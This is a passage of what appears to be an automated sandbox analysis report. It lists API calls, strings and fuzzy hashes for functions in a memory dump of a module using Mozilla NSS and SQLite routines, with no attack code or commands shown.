Part of subcall function 6D0D09D0: PR_LogFlush.NSS3 ref: 6D0D0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0D0EFA

Part of subcall function 6CFBAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFBAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0D0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6D0D0ED9, 6D0D0EE5, 6D0D0F06, 6D0D0F0B
Aborting, xrefs: 6D0D0EB3

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 86b30836dacd090314cb8ba439c6a7f92580f29528b48058b663f29b43db382f
Instruction ID: ee4ef5836cfed828d49a26b93e589738549cddb7e0b3e94fad1148da6ff62b15
Opcode Fuzzy Hash: 86b30836dacd090314cb8ba439c6a7f92580f29528b48058b663f29b43db382f
Instruction Fuzzy Hash: ACF044B58002087BEE016B62AC4BD9B7E2EDF46664F044034FE1956202EBB5E91496F7

Function 6D034DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6D034DCB

Part of subcall function 6D020FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFC87ED,00000800,6CFBEF74,00000000), ref: 6D021000
Part of subcall function 6D020FF0: PR_NewLock.NSS3(?,00000800,6CFBEF74,00000000), ref: 6D021016
Part of subcall function 6D020FF0: PL_InitArenaPool.NSS3(00000000,security,6CFC87ED,00000008,?,00000800,6CFBEF74,00000000), ref: 6D02102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6D034DE1

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6D034DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D034E59

Part of subcall function 6D01FAB0: free.MOZGLUE(?,-00000001,?,?,6CFBF673,00000000,00000000), ref: 6D01FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0F300C,00000000), ref: 6D034EB8
SECOID_FindOID_Util.NSS3(?), ref: 6D034EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6D034F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D03521A

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ab74852d5d849c587c2e1307a6adc6e7b08b5f788866ee5faae57836cc8adaa7
Instruction ID: aa1618d446b15017c5b73ebbf35cf784a773587b097c8c0e2db6bfa1b8b6953a
Opcode Fuzzy Hash: ab74852d5d849c587c2e1307a6adc6e7b08b5f788866ee5faae57836cc8adaa7
Instruction Fuzzy Hash: EDF19B75E0421ADFEB04CF54D8407BEB7F2BF49314F268169E914AB290E776E981CB90

Function 6D030C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D032C2A), ref: 6D030C81

Part of subcall function 6D01BE30: SECOID_FindOID_Util.NSS3(6CFD311B,00000000,?,6CFD311B,?), ref: 6D01BE44

Part of subcall function 6D008500: SECOID_GetAlgorithmTag_Util.NSS3(6D0095DC,00000000,00000000,00000000,?,6D0095DC,00000000,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6D008517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D030CC4

Part of subcall function 6D01FAB0: free.MOZGLUE(?,-00000001,?,?,6CFBF673,00000000,00000000), ref: 6D01FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D030CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6D030D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6D030D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6D030D7D
free.MOZGLUE(00000000), ref: 6D030DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D030DC1
free.MOZGLUE(00000000), ref: 6D030DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D030E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D030E0F

Part of subcall function 6D0095C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6D0095E0
Part of subcall function 6D0095C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6D0095F5
Part of subcall function 6D0095C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6D009609
Part of subcall function 6D0095C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D00961D
Part of subcall function 6D0095C0: PK11_GetInternalSlot.NSS3 ref: 6D00970B
Part of subcall function 6D0095C0: PK11_FreeSymKey.NSS3(00000000), ref: 6D009756
Part of subcall function 6D0095C0: PK11_GetIVLength.NSS3(?), ref: 6D009767
Part of subcall function 6D0095C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6D00977E
Part of subcall function 6D0095C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D00978E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: dc4c9fb1ccbd42ccd00d2d137bfbee745552521858e08968af01c0948f914087
Instruction ID: 50748a0f0c2fb564577bc26d3bb0cd54dfed7599e7394c8596cae337902ecd37
Opcode Fuzzy Hash: dc4c9fb1ccbd42ccd00d2d137bfbee745552521858e08968af01c0948f914087
Instruction Fuzzy Hash: FA41A0B1D05217ABFB009F65EC45BBF7AB8EF44308F024024EA1957341E775AA14CBE2

Function 6CFC4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6D110148,?,6CFD6FEC), ref: 6CFC502A
PR_NewLock.NSS3(00000001,00000000,6D110148,?,6CFD6FEC), ref: 6CFC5034
PL_NewHashTable.NSS3(00000000,6D01FE80,6D01FD30,6D06C350,00000000,00000000,00000001,00000000,6D110148,?,6CFD6FEC), ref: 6CFC5055
PL_NewHashTable.NSS3(00000000,6D01FE80,6D01FD30,6D06C350,00000000,00000000,?,00000001,00000000,6D110148,?,6CFD6FEC), ref: 6CFC506D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 3e371f6cb368f27c8de9eeebb7fa86e19530802f68f06810562297295d417a8b
Instruction ID: 1d3f6c5659caad462c444ffcf001eca7cf33cb6c6fe20dd908108285d67df688
Opcode Fuzzy Hash: 3e371f6cb368f27c8de9eeebb7fa86e19530802f68f06810562297295d417a8b
Instruction Fuzzy Hash: B531B9F2B15211BBEB208B55AC4AF4F3AB89B13748F054125DE1587641D3BA9684CBD2

Function 6CF62E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF62F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CF62FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CF63005
memcpy.VCRUNTIME140(?,?,?), ref: 6CF630EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF63131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF63178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF63022, 6CF63156, 6CF63162, 6CF6318A, 6CF63196, 6CF631A2, 6CF631AE, 6CF631BA, 6CF631C6
%s at line %d of [%.10s], xrefs: 6CF63171
database corruption, xrefs: 6CF6316C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: a3981bed4ad1f03df5d41da1c93a7fdc8bd6fa851cde47250aa825b53a198714
Instruction ID: b8f3f619d397e83baed8631129813ebf0b53e3e5893394a1142575a95a1e08c2
Opcode Fuzzy Hash: a3981bed4ad1f03df5d41da1c93a7fdc8bd6fa851cde47250aa825b53a198714
Instruction Fuzzy Hash: 03B1E171E052299BDF08CF9EC884AFEB7B1BF48304F15402AE945B7B45D7759845CBA0

Function 6CFB2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CFB2D69

Strings

Pm, xrefs: 6CFB2E74, 6CFB2EC5, 6CFB2F32, 6CFB2F5C
winTruncate2, xrefs: 6CFB2EF8
winUnmapfile2, xrefs: 6CFB2F7F
winTruncate1, xrefs: 6CFB2EBE
@m, xrefs: 6CFB2E24
winSeekFile, xrefs: 6CFB2E9C
winUnmapfile1, xrefs: 6CFB2F55
m, xrefs: 6CFB2DD0

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: __allrem
String ID: @m$Pm$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$m
API String ID: 2933888876-1404639139
Opcode ID: 80dfd73262f7468bd1ed780cd3ac9c0b39e47501ba1d5be9df8eb53ac8bea311
Instruction ID: 4f7db7fbc27dfd52b0d48b8d9d32c6c212d766c3bec200a1d68caba749233b25
Opcode Fuzzy Hash: 80dfd73262f7468bd1ed780cd3ac9c0b39e47501ba1d5be9df8eb53ac8bea311
Instruction Fuzzy Hash: 5961A171A002059FDB04DFA9DC98BAA77B1FF4D354F108128E915AB790DB72AD46CF90

Function 6D037F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D037FB2

Part of subcall function 6CFBBA40: TlsGetValue.KERNEL32 ref: 6CFBBA51
Part of subcall function 6CFBBA40: TlsGetValue.KERNEL32 ref: 6CFBBA6B
Part of subcall function 6CFBBA40: EnterCriticalSection.KERNEL32 ref: 6CFBBA83
Part of subcall function 6CFBBA40: TlsGetValue.KERNEL32 ref: 6CFBBAA1
Part of subcall function 6CFBBA40: _PR_MD_UNLOCK.NSS3 ref: 6CFBBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D037FD4

Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890AB
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D0890C9
Part of subcall function 6D089090: EnterCriticalSection.KERNEL32 ref: 6D0890E5
Part of subcall function 6D089090: TlsGetValue.KERNEL32 ref: 6D089116
Part of subcall function 6D089090: LeaveCriticalSection.KERNEL32 ref: 6D08913F

Part of subcall function 6D039430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6D039466

PR_ExitMonitor.NSS3(?), ref: 6D03801B
PR_EnterMonitor.NSS3(?), ref: 6D038034
TlsGetValue.KERNEL32 ref: 6D0380A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D0380C0
PR_ExitMonitor.NSS3(?), ref: 6D03811C
PR_ExitMonitor.NSS3(?), ref: 6D038134

Strings

), xrefs: 6D0380DB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: de152be03d3b09a8a41f0e704dbda91d724c8f6e795bbc79d78d69c6df6bd3a7
Instruction ID: f36785fa46d1e4d333da594a77acc5fff84c4648f56f051e3286187c4e5be92d
Opcode Fuzzy Hash: de152be03d3b09a8a41f0e704dbda91d724c8f6e795bbc79d78d69c6df6bd3a7
Instruction Fuzzy Hash: EA515775A087179BFB219F34DC00BAF77F4AF42308F060468DE5A97242EB71A548CB92

Function 6CFDFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CFDFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CFDFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CFDFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFDFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CFDFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CFDFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CFDFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFDFD84

Strings

:, xrefs: 6CFDFD78

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: c9c86a550d9ef74f485af55ba3a194197c06d84a899e5a8fbeae1e99c9ed5473
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: E131E0B6D052059BEB818EA4EC01B6FB7A8AF40318F1E0135DD14E7600E772FA14C7D2

Function 6CFC0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFC0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFC0F84

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CFDF59B,6D0E890C,?), ref: 6CFC0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CFC0FC1

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CFC0FDB
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFC0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CFC1001
PL_FinishArenaPool.NSS3(?), ref: 6CFC1009

Strings

security, xrefs: 6CFC0F5C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a5790b27700b4ec62087958c2143a5983139248183ffab61d3fa20e757cc04b0
Instruction ID: a894305861c659ff804342f022bc69bcd35ccf1d023344aca5352cabbf9131eb
Opcode Fuzzy Hash: a5790b27700b4ec62087958c2143a5983139248183ffab61d3fa20e757cc04b0
Instruction Fuzzy Hash: 8C2122B1A08204ABF7119F24DC41BAFBBB4EF84258F048118FD5897202F731E552CB92

Function 6CFC6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CFC7D8F,6CFC7D8F,?,?), ref: 6CFC6DC8

Part of subcall function 6D01FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6D01FE08
Part of subcall function 6D01FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6D01FE1D
Part of subcall function 6D01FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6D01FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CFC7D8F,?,?), ref: 6CFC6DD5

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0E8FA0,00000000,?,?,?,?,6CFC7D8F,?,?), ref: 6CFC6DF7

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CFC6E35

Part of subcall function 6D01FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6D01FE29
Part of subcall function 6D01FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6D01FE3D
Part of subcall function 6D01FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6D01FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CFC6E4C

Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0E8FE0,00000000), ref: 6CFC6E82

Part of subcall function 6CFC6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CFCB21D,00000000,00000000,6CFCB219,?,6CFC6BFB,00000000,?,00000000,00000000,?,?,?,6CFCB21D), ref: 6CFC6B01
Part of subcall function 6CFC6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CFC6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CFC6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CFC6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D0E8FE0,00000000), ref: 6CFC6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CFC7D8F,?,?), ref: 6CFC6FE1

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: cdba6ee4db693833c90a7620c08ad0f630b677824859ab4a84d7e3d0c3d2fe6c
Instruction ID: e840850fa9cdf2f01889bd282b2ef9b9cfb28536fca14c17c85f9aab556aaab5
Opcode Fuzzy Hash: cdba6ee4db693833c90a7620c08ad0f630b677824859ab4a84d7e3d0c3d2fe6c
Instruction Fuzzy Hash: 3A718D71F182479BEB00CF55CD40BBABBA4BF94248F16422AF808D7611F770E994CB92

Function 6D000FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D001057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D001085
PK11_GetAllTokens.NSS3 ref: 6D0010B1
free.MOZGLUE(?), ref: 6D001107
PR_SetError.NSS3(00000000,00000000), ref: 6D001172
free.MOZGLUE(?), ref: 6D001182
free.MOZGLUE(?), ref: 6D0011A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6D0011C5

Part of subcall function 6D0052C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CFDEAC5,00000001), ref: 6D0052DF
